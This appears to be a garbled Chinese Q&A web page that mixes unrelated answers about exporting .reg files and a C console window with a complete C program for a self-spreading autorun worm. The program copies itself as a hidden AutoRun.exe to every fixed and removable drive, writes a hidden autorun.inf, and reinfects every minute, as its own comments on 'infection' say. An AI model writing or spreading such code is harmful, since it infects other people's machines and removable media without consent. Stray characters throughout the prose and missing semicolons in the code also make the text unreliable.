既然你连窗口都不需要,那么写的东西就是固渗猛定的。
关注.reg文件,只要你将需要写的注册表项做成纯文本,在每天机器上双击执行一下就可以了。
而生成也很简单,本机使用regedit,选中你的指定的注册表项,然后念喊轮菜单上导出就ok了。
因念唤拦为这是个完整的程序,你输入回车,然后显示输出,再然后就执行到主函数右括号仔胡处,最后结束程序,关闭窗口。最简单的解决办法就是在printf("积为%d\n",c)后面加一句scanf(" "链粗)
给你一个简单的小程序,自动复制到所有分区根目录,并可以双击磁盘运行#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
void WriteIni(char* path)
{
char inifilepath[256]
strcpy(inifilepath,path)
strcat(inifilepath,"\\autorun.inf")
WritePrivateProfileString("AutoRun","open","AutoRun.exe",inifilepath)//写入INI
WritePrivateProfileString("AutoRun","shell\\open","Open(&O)",inifilepath)//写入INI
WritePrivateProfileString("AutoRun","shell\\open\\Command","AutoRun.exe",inifilepath)//写入INI
SetFileAttributes(inifilepath,FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_HIDDEN)
}
void InjectAllDisk()
{
for(char i='A'i<='Z'i++)
{
char x[20]={i,':'}
UINT Type=GetDriveType(x)
if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE)
{
printf("InjectAllDisk\n")
WriteIni(x)
char VirusPath[MAX_PATH]
char CurrentPath[MAX_PATH]
GetModuleFileName(NULL,CurrentPath,MAX_PATH)
sprintf(VirusPath,"%s%s",x,"\\AutoRun.exe")
CopyFile(CurrentPath,VirusPath,true)
SetFileAttributes(VirusPath,FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_HIDDEN)
}
}
}
DWORD WINAPI StartInject(LPVOID lparam)//打开磁碰磨旅盘笑凳 每隔60妙 感染一次
{
char szCmd[MAX_PATH]
char Path[MAX_PATH]
GetModuleFileName(NULL,Path,MAX_PATH)
Path[2]='\0'
sprintf(szCmd,"explorer %s",Path)//感染后磁盘无法正常游衡打开 所以应该用Explorer打开
WinExec(szCmd,SW_SHOW)
while (true)
{
InjectAllDisk()
Sleep(1000*60)
}
return 0
}
int main(int argc, char* argv[])
{
HANDLE Thread=CreateThread(NULL,NULL,StartInject,NULL,NULL,NULL)
WaitForSingleObject(Thread,INFINITE)
return 0
}
以上是完整的实现,为了实现这个感染,按照功能分别用三个函数写成,分别为写入INI文件,开始感染和打开磁盘
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)